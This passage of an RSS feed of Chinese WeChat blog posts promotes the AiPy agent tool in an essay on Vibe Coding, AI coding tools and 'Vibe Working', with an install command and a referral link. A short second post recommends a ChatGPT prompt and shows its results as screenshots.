href="https://mp.weixin.qq.com/s?__biz=Mzg5NTc0MjgwMw==&amp;mid=2247514970&amp;idx=2&amp;sn=d8b19e16d04f520a6ca192ea1bd81be2&amp;scene=21#wechat_redirect" textvalue="https://mp.weixin.qq.com/s?__biz=Mzg5NTc0MjgwMw==&amp;mid=2247514970&amp;idx=2&amp;sn=d8b19e16d04f520a6ca192ea1bd81be2&amp;scene=21#wechat_redirect" data-itemshowtype="0" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/_5pQM7Nhavbl9zFopxwxNA" target="_blank">https://mp.weixin.qq.com/s/_5pQM7Nhavbl9zFopxwxNA</a></a></span></p><p><span leaf="">可能是热度和关注度的持续，在6月17日，Andrej Karpathy在 YC AI Startup School 活动中发表了约 40 分钟的演讲，主题为《Software in the era of AI》再次引发大家对Vibe Coding的关注，还没有看过的可以看看：</span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzA3MzI4MjgzMw==&amp;mid=2650974821&amp;idx=1&amp;sn=5f8246d97da2621ef8060af28a8d7e0a&amp;scene=21#wechat_redirect" textvalue="https://mp.weixin.qq.com/s?__biz=MzA3MzI4MjgzMw==&amp;mid=2650974821&amp;idx=1&amp;sn=5f8246d97da2621ef8060af28a8d7e0a&amp;scene=21#wechat_redirect" data-itemshowtype="0" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/q6IF0l5-sFklZiJ1FqBPMg" target="_blank">https://mp.weixin.qq.com/s/q6IF0l5-sFklZiJ1FqBPMg</a></a></span></p><p><span leaf="">当然英语好的可以看原视频：</span></p><p><span leaf=""><a href="https://www.youtube.com/watch?v=LCEmiRjPEtQ" target="_blank">https://www.youtube.com/watch?v=LCEmiRjPEtQ</a></span></p><p><span leaf="">在看Andrej Karpathy这个演讲记录之前，虽然多次看到&#34;Vibe Coding&#34;这个词，但是一直忙着AiPy就没有特别去留意，直到我看到了他原始的推文(见上面)，突然想起之前为了鼓吹“大模型时代已来”，而做的一次“行为艺术”： <a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484330&amp;idx=1&amp;sn=a17447ffd6c859e14d05adf61f76f1ea&amp;scene=21#wechat_redirect" textvalue="《0基础到纯血鸿蒙APP开发实践》" data-itemshowtype="0" linktype="text" data-linktype="2">《0基础到纯血鸿蒙APP开发实践》</a></span></p><p><span leaf="">也就是我大概从2024年底12月开始，纯通过Cursor来完成一个真正的相对“正式”项目开发，通过10几天（每天几个小时吧）最终实现了对纯血鸿蒙系统开发方舟语言0基础的情况下，完成了一个app的开发，全程我都没写过一行的代码，而是复制粘贴错误给curosr，全程完全就是是点击“Accept”和“Run“。</span></p><p><span leaf="">而这次的“行为艺术”就是&#34;Vibe Coding&#34;，如果非得较真，可能当时我还缺一个“语音”输入，当然这个在当时已经完全没有什么门槛～</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">Vibe Coding 对AI IDE的影响</span></span></p><p><span leaf="">Vibe Coding虽然看起来是一个俚语化“概念”，但是它深深影响了IDE的进化过程 ...</span></p><p><span leaf="">从上面可以看出，其实Vibe Coding的主体主角当时是Cursor，在Andrej Karpathy的推文里提到的是Cursor Composer，而我用到的也是Cursor Composer，实际上这个时候推Agentic Coding的是 Windsurf，WindSurf通过grep等当时进行代码索引（@codebase）效果非常好，并且开始自动化命令处理的模式，这个也让WindSurf锋芒差点超过Cursor，可惜Cursor通过白嫖积累了不少先发优势，然后通过迅速“学习”兼容，也推出了Agent模式替代了之前的Composer，当然这里不得不提一下Cline等插件的，他们也是比较早的，都开始自动化的去执行命令等处理，而这些来自同行的优势都快速被Cursor吸收，这就是Cursor的 YOLO Mode（You Only Look Once Mode）</span></p><p><span leaf="">Cursor无疑是成功的，我觉得Cursor能“成功”的核心：1、可白嫖 2、快速学习迭代。Cursor的成功也引起了大家对AI IDE的关注，我觉得这个是必然的，也必然被模型厂商盯上  ...</span></p><p><span leaf="">在AI IDE这个角度是一样的，如果你曾经追OpenAI、Claude的一些发布会及采访，都会发现其实在他们内部早就开始了对应方向的布局，其中就包括OpenAI Codex，Claude Code，AI Coding我觉得一直是Claude的立身之本，从它跟Cursor一直保持不清不楚的暧昧关系就可以看出，这个方向不管是模型到应用还是商业布局，Claude都是非常态度明确鲜明的，比如在OpenAI勾搭WindSurf的时候，直接就切断了WindSurf的模型供应。</span></p><p><span leaf="">实际上不管是OpenAI Codex还是Claude Code在他们内部已经开始很久， 我估计当时他们内部也没太明确，比较已经有了Cursor和WindSurf，从商业角度上讲大不了，一人收购一个：Cursor给Claude 、Windsurf给OpenAI，看起来相对nice～</span></p><p><span leaf="">直到大家看到了Vibe Coding的趋势 ... 当然这正是我的臆断（看官不用较真）。于是大家想到了还有另外一种可能，我们完全可以聚焦在“Vibe Coding”这个概念上，而不去纠结VScode（注：Cursor和WindSurf都是基于VScode开发的，都是差不多的GUI），让用户不再关注代码本身甚至忘记代码的存在，完全依赖大模型的能力去完成编码，这才是AI时代要追求的，而不是一个单纯帮助程序员自动补全代码的提效工具！</span></p><p><span leaf="">于是他们都选择在5月正式对外发布，OpenAI发布了codex 而claude发布了Claude Code ，当然从反响来看Claude Code完胜OpenAI Codex，事先我要声明的是我没有体验过OpenAI Codex，只是后面看到了宝玉写的测评：</span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzk1NzgxMjQ0OA==&amp;mid=2247489470&amp;idx=1&amp;sn=413d748cdde66fbaa26301a8e7938fe6&amp;scene=21#wechat_redirect" textvalue="https://mp.weixin.qq.com/s?__biz=Mzk1NzgxMjQ0OA==&amp;mid=2247489470&amp;idx=1&amp;sn=413d748cdde66fbaa26301a8e7938fe6&amp;scene=21#wechat_redirect" data-itemshowtype="0" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/RZo9fu20m4OYwT9MN7f0MA" target="_blank">https://mp.weixin.qq.com/s/RZo9fu20m4OYwT9MN7f0MA</a></a></span></p><p><span leaf="">我瞬间就知道了为什么OpenAI Codex 反响不如Claude Code了，下面这张图说明了一切！！</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000758" class="rich_pages wxw-img" data-ratio="0.6314814814814815" data-s="300,640" data-type="jpeg" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=abb7e1c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuszJsHNibhPtsSfEicLh9FjcotC9tYqEt4z9u7TwVCkKianLB5xqTw0MSiaoCDEpO2r3rSLIq0iaGOZq5Eg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span leaf="">虽然他们都是在努力契合“Vibe Coding”，但是OpenAI Code还是应用的本地虚拟环境隔离，这种隔离还不能联网：</span></p><blockquote><p><span leaf="">需要强调的是，这个虚拟机环境一开始是可以联网的，但在自动下载项目代码和安装完所需的第三方库之后，就会彻底断开网络连接，后续再也不能访问互联网。</span></p></blockquote><p><span leaf="">这就是云端部署简单粗暴的做了个Docker搬到的本地？这种带来的体验感可想而知，OpenAI Code最大的失败点在于他们对“大模型与环境关系的”理解上，我们应该解放AI而不是束缚，让模型能力融合到现实环境才能真正解放AI！</span></p><p><span leaf="">当然不管是OpenAI还是Claude怎么PK，对于我们来说两家都有一个共同点：就是出了名的贵！（当然Claude不光贵，还挺恶心，动不动就封你），就蹭这点Google就不惯着，这一波必须蹭，没有条件创造条件也必须上，于是就有了免费开源的Gemini CLI，从代码架构及功能包括提示词，我完全相信Gemini CLI就是对Claude Code逆向后复刻的产品！嗯，这个跟Manus 与OpenManus的关系差不多。但这不影响Gemini CLI大火，至于效果体验上来讲吧，黑哥尔的感受是这样的：“那些吹Gemini CLI的 应该都没体验过AiPy！”</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">从“Vibe Coding”到“Vibe Working”</span></span></p><p><span leaf="">如果说“Vibe Coding”是一种新范式，根本上改变大家的编码习惯，是一种革命，但我觉得它只是一个开始...</span></p><p><span leaf="">用户的“觉醒”：</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000759" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5274261603375527" data-s="300,640" data-type="png" data-w="948" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=1e4a6fde&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuszJsHNibhPtsSfEicLh9FjcotNWLicfbooMIGHmw0N9zuoBdR45YwSVVSCxdcicxPgPfwWQNvfcMibsH3Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">“Cursor可以不只是IDE” 这个是我之前很多地方都强调过，因为我用Cursor的大部分需求不是写代码，而是做其他相关的，其中“替代终端”是我用得最多的，也就是说Cursor可以不只是IDE，而是Agent，可以完成很多任务工作，但是根据我的观察，这种“觉醒”的还是不太多，虽然我到处不遗余力的忽悠 :) 这个我觉得是他的产品形态太深刻：“成也VScode，败也VScode”（当然这个败不是真正意义上的败，因为Cusor的官方定义还是IDE），所以大家的共识还是在于IDE的认定，像我这种只能算是“异类”～</span></p><p><span leaf="">Gemini CLI大火后，又开始了一波“觉醒”</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000760" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.65" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=e16b8ac7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuszJsHNibhPtsSfEicLh9FjcotnYWERo8Hcmsv2icc1VKfhY3gqr1TZneLRUPpGzFrCY3fkSepYB36JWw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><a href="https://x.com/Yonah_x/status/1938131558163939754" target="_blank">https://x.com/Yonah_x/status/1938131558163939754</a></span></p><p><span leaf="">到目前为止这个推的阅读量有10.6万，第一次看到这个图还是AiPy Vip群里的大佬发的：</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000761" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.2518518518518518" data-s="300,640" data-type="jpeg" data-w="810" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=b7ac80a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuszJsHNibhPtsSfEicLh9Fjcot1djWwwd5A0GsFaRdlnA51sSAvJ3601gjblpscicvEKYv7oJWYKabeQg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span leaf="">上面提到的推文，在我看来这是自有一次用户的“觉醒”，大家从“Vibe Coding”觉醒到了“Vibe Working”，这个是最大的认知变化。</span></p><p><span leaf="">人制造工具的目的是使用工具完成工作，而“Vibe Coding”改变的还只是编程的习惯，对象还是编码！所以只能只是一个开始，人类要追求的还是要Working，真正改变大家的工作习惯及流程，这个我觉得才是AGI的追求！</span></p><p><span leaf="">而我们设计的Python-Use范式下的AiPy，设计出来就是为了Working，在“Vibe Coding”概念大火之后，知道我们AiPy的很多朋友反馈说：AiPy就是“Vibe Coding”，其实当时我还是比较纠结的，因为我觉得Vibe Coding这个概念不是很适合AiPy，毕竟AiPy的定位不是IDE，虽然Python-Use范式是用代码实现一切，在效果上看可能最接近Andrej Karpathy原始对“Vibe Coding”描述，但是最终不是为了交付代码，而是完成的工作结果，也就是说Coding只是过程而不是目的。直到在跟我公司老板IC沟通时，我第一次从他那里看到了“Vibe Work”这个词，一下就有“豁然开朗”的感觉，这个“Vibe Working”简直完美契合我们的AiPy的概念，强调的是任务，交付的是结果。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">“Vibe Working”的觉醒</span></span></p><p><span leaf="">上面提到的推文</span></p><blockquote><p><span leaf="">“Gemini Cli 的意义在于它从此拥有了访问用户电脑所有数据的能力。大家都拿它对标 Claude Code 的写代码能力，但我不是，我的第一个想法是用它来帮我整理文件夹。”</span></p></blockquote><p><span leaf="">其实就是强调的一个问题：大模型与环境的关系问题，这个问题在上面在提到的OpenAI Code的失败核心关键。</span></p><p><span leaf="">而这个正好是我们提到的Python-Use范式的优势：<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484380&amp;idx=1&amp;sn=cd6f91d7432b3392cc79c81f5187d467&amp;scene=21#wechat_redirect" textvalue="《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》" data-itemshowtype="0" linktype="text" data-linktype="2">《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》</a></span></p><p><span leaf="">从这个角度上看从</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf=""><span class="code-snippet__attribute">Cursor</span> --&gt; OpenAI Codex --&gt; Claude <span class="code-snippet__selector-tag">Code</span> --&gt; Gemini Cli</span></code></pre></p><p><span leaf="">CLi成为一种热潮，而CLi背后的觉醒是：大模型与环境数据的无限扩展能力，本地化应用模式已经成为趋势～～</span></p><p><span leaf="">而事实上在这个数据扩展能力的角度上看，我们的Python-Use从设计开始就先天具备这些无限扩展的能力，当然也包括在产品架构设计上，天然就是为了“Vibe Working”而做的！</span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">1、API Calling 实现“万物互联” </span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">ChatMode</span> --生成代码--&gt; API市场 --调用API--&gt; 完成任务</span></code></pre></p><p><span leaf="">当然各种API直接还可以实现编排，形成工作流！而目前所有的客户端（包括上面那些IDE）都强依赖MCP，这种扩展能力是严重受到限制的，最大的问题是MCP依赖开发者开发，尤其是很多的内部私有化应用的接口没办法随心所欲的调用，而AiPy通过API Calling配置个API就能搞定。而且各种MCP可能不方便编排！</span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">2、Python Packages Calling 实现“万物编程”</span></span></p><p><span leaf="">LLM时代，Python是当之无愧的王者，有大量的模型应用本身都提供对应的Packages，拥有强大的生态。</span></p><p><span leaf="">当然你可以通过“Vibe Coding”去定义开发一个Packages也不啥难事</span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">3、Python解释器 实现“万境直通”</span></span></p><p><span leaf="">这个核心还是在于与环境的沟通反馈上，包括代码能力的自动Debug、Fixed都依赖这个解释器</span></p><p><span leaf="">Python作为一个编程语言本身就能拥有文件管理、命令执行、代码执行的能力，当然你需要做一定固化的funcion/tools也是完全可行的。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">从Python-Use 到 Code-Use</span></span></p><p><span leaf="">其实本质上Python-Use范式本事就是Code-Use范式，当然我们在实践的过程中其实也看到了一些其他语言的优势，另外如果我们的任务项目了需要用到其他语言，我还需要通过Python代码去重新出生成或者运行一次显得效率很慢，有时候可能也出现不稳定的情况，这个时候其实是我们可以直接让模型生成对应的语言代码就行，不用再切套一个python，这样我们就从Python-Use真正回归到了本来的Code-Use，比如我们现在AiPy对于html报告生成的处理，之前是需要用生成一端Python代码，然后把对应的html作为一种数据让Python代码去处理，而现在不用了，直接让大模型输出HTML，并标记就是能保存到本地并使用，再比如Bash等其实也是一种Code，现在的方式我们需要Python调用命令执行的函数如os.system去执行，在后续我们将直接让模型生从bash命令直接执行等等，从Code-Use的范式角度上看后面回考虑集成其他的JS-Use 、PowerShell-Use等等。</span></p><p><span leaf="">所以AiPy就是天然为“Vibe Working”而生的，在成本上看AiPy本身免费开源，本身提供一键安装即使是CLi也只要运行一个:</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""> <span class="code-snippet__attribute">pip</span> install aipyapp </span></code></pre></p><p><span leaf="">而唯一可能需要付费的是大模型token，这个其实已经很便宜了，本身有很多免费的模型可以用比如Gemini你一样可以用，Grok也有免费额度可以用，DeepSeek其实也很便宜（我10块钱满负荷使用AiPy可以用7天），最重要的是 AiPy支持 Trustoken是爱派（AiPy）官方合作伙伴，为用户提供高度稳定、可信、可靠的Token分发与管理服务，注册可以免费Token 而且你还可以拉人头注册 获得Token奖励，基本不要钱，而且官方提供的模型回做对AiPy的任务做各种优化处理，效果比其他家的模型更好。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000762" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4925925925925926" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=61422166&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuszJsHNibhPtsSfEicLh9Fjcotpiaia7wv2RekXD7xny5FTNlAf2SUkicAibQ3lEp5Hbwpm3UibfXdSWDvugA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">有兴趣可以用我的邀请码：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__attr">https</span>:<span class="code-snippet__comment">//www.trustoken.cn/register?aff=sE5B</span></span></code></pre></p><p><span leaf="">在我看来AiPy是第一个真正实现了“Vibe Coding”，是真正能做到“人人可以使用真正能自动干活的AI牛马”的大模型应用。所以在AiPy平权的角度来看，完全可以与DeepSeeK带来的大模型Chat平权相提并论的，AiPy平权实现的大模型Agent落地平权！</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">Agent的未来</span></span></p><p><span leaf="">大模型从ChatGPT火出圈以来，这个行业本身发展就非常快，所有的东西变化太快了，也非常的卷，尤其是大模型相关的创业项目，在这个本身都在变化的行业里，Agent方向是从开始到现在都一直在卷的方向，OpenAI的奥特曼多次给大家传递着一个信息：“我全都要～～” ，像前面创业火爆的模型搜索领域，现在大模型人手一个Deep Research，而这个大模型厂商只要开放API，所有的客户端调用大模型厂商的API就能应用Deep Research，Gemini现在就是这么干的～，而这些能在云端实现的Agent，没有与环境私有数据沟通能力的Agent，甚至包括</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">很多的大模型周边的生态位衍生的能力或者产物，最终都得被大模型“内化”！</span></p><p><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">而Agent与环境的沟通是一个非常重要的点，而这也是一个执行能力的入口，或者说抓手，对于这个能力控制，蚕食掉生态周边后要面临的是来自操作系统的挑战，所以这个为什么很多人分析OpenAI泄露文件中提到的竞争对手的马斯克是</span><span style="color: rgb(25, 25, 25);font-family: &#34;PingFang SC&#34;, Arial, 微软雅黑, 宋体, simsun, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">Apple</span></span></p><p><span leaf="">黑哥尔常说：“AI一天，人间一年”，很多东西真“稍瞬即逝”，时间窗口太短了，太难把控了，所以才有了AI时代的护城河就是“快”，当然这个“快”也不是一个单一的元素，而是一个综合体！也就是啥、啥、啥都要快，也就是天时、地利、人和都要快！</span></p><p><span leaf="">-------</span></p><p><span leaf=""><span textstyle="" style="font-size: 12px;">黑哥尔叹气的说到：“哪些吹Gemini CLI的 应该都没体验过AiPy！”  深深感受到了黑哥尔的无奈～～</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 12px;">如果你也想感受下这种感觉，访问 www.aipyaipy.com 安装即可体验～</span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c617b3ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuszJsHNibhPtsSfEicLh9Fjcot7Oicaruq0voibSNJqxMxgGiaCg1oue8CGCxUn3cyBusT76A33qlLTG7wQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a3b07cc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuszJsHNibhPtsSfEicLh9FjcotC9tYqEt4z9u7TwVCkKianLB5xqTw0MSiaoCDEpO2r3rSLIq0iaGOZq5Eg%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f176c018&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuszJsHNibhPtsSfEicLh9FjcotNWLicfbooMIGHmw0N9zuoBdR45YwSVVSCxdcicxPgPfwWQNvfcMibsH3Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=97c14bf5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuszJsHNibhPtsSfEicLh9FjcotnYWERo8Hcmsv2icc1VKfhY3gqr1TZneLRUPpGzFrCY3fkSepYB36JWw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4907c0ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuszJsHNibhPtsSfEicLh9Fjcot1djWwwd5A0GsFaRdlnA51sSAvJ3601gjblpscicvEKYv7oJWYKabeQg%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d39f0052&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuszJsHNibhPtsSfEicLh9Fjcotpiaia7wv2RekXD7xny5FTNlAf2SUkicAibQ3lEp5Hbwpm3UibfXdSWDvugA%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484413">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e17f18b2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484413%26idx%3D1%26sn%3D583de95c7b2f0cb6daff2c4dbf08b674">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 28 Jun 2025 16:33:09 +0800</pubDate>
    </item>
    <item>
      <title>提示词推荐：“告诉一些只有你知道的秘密”</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484403&amp;idx=1&amp;sn=ab72789256d8aefe55ee88a583715474</link>
      <description>来源于：https://weibo.com/2169039837/Px4sHlVhg?</description>
      <content:encoded><![CDATA[<p>
原创 <span>heige</span> <span>2025-06-18 17:08</span> <span style="display: inline-block;">湖南</span>
</p>

<p>来源于：https://weibo.com/2169039837/Px4sHlVhg?</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=49324889&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqRv6DEYiammmS6kffEHjCAF71CIqVOAULiciamU7mEXPd6hDJbxfsMxDyg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span leaf="">来源于：</span><span leaf=""><br/></span></p><p><span leaf=""><a href="https://weibo.com/2169039837/Px4sHlVhg?pagetype=detail" target="_blank">https://weibo.com/2169039837/Px4sHlVhg?pagetype=detail</a></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000741" data-ratio="1.0675925925925926" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a89ddf74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqLl5R4A5lWMYrdiaGFs153AsUzgD4H1RrNKrZvTTKm8ybwW2fdGJ7QmA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">当然你可以约束下你关注的方向领域，下面是我简单测试了ChatGPT的一些结果，还是非常有意思所以推荐给大家</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000747" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c4a8e995&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdq7LWlhUHxmwMw5tp3qIO3qvBFSgzmaAD62VeK7PNN7pWugLHNFQcgXw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000749" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=75f0f935&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdq1kOib9YwkEDo5ghb9kUWkEic5AbviaMdeO0OwprhwgpZbfJuBZ27cGScQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000750" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bc894ada&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqG5kFF6iaDpuyxxb7EmpvW27trnaCjibtdlt0eIKxia7t54HwMic1bB9icog%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000748" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=7342f9e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqIOb7fm5VA5WwzgBiavVnB9OwwoG5ASRDFVrzgrKukspxjXHgIlib5AWw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000751" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=954aa943&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqF10iaQAKYq7MUIaeicq2sLM9P72lgCt3wYGOiarHD0Pg7s3WiaicDVibFGAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000753" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5992b2d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqCMU5Xmkia117xzbwicdTYiclPWrWaGBfIaHrRDC9eBRE6PfjKt7YDpT5w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000754" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=87df33f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqQfq5pCgGfDkuK5CJby9cc9PwCJodu7kQiaYaxawN5c9zhgfk62DRRXw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000752" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=cd07ae25&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqQ73RjjoXCIdqsicOQmhEwFJdQVvlLvvptsBlarFw3PFH9z7AbhrHwUQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><br/></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=20840a73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyBAljRKiayLBKnu50aArbdqLl5R4A5lWMYrdiaGFs153AsUzgD4H1RrNKrZvTTKm8ybwW2fdGJ7QmA%2F640%3Fwx_fmt%3Dpng"/></p>
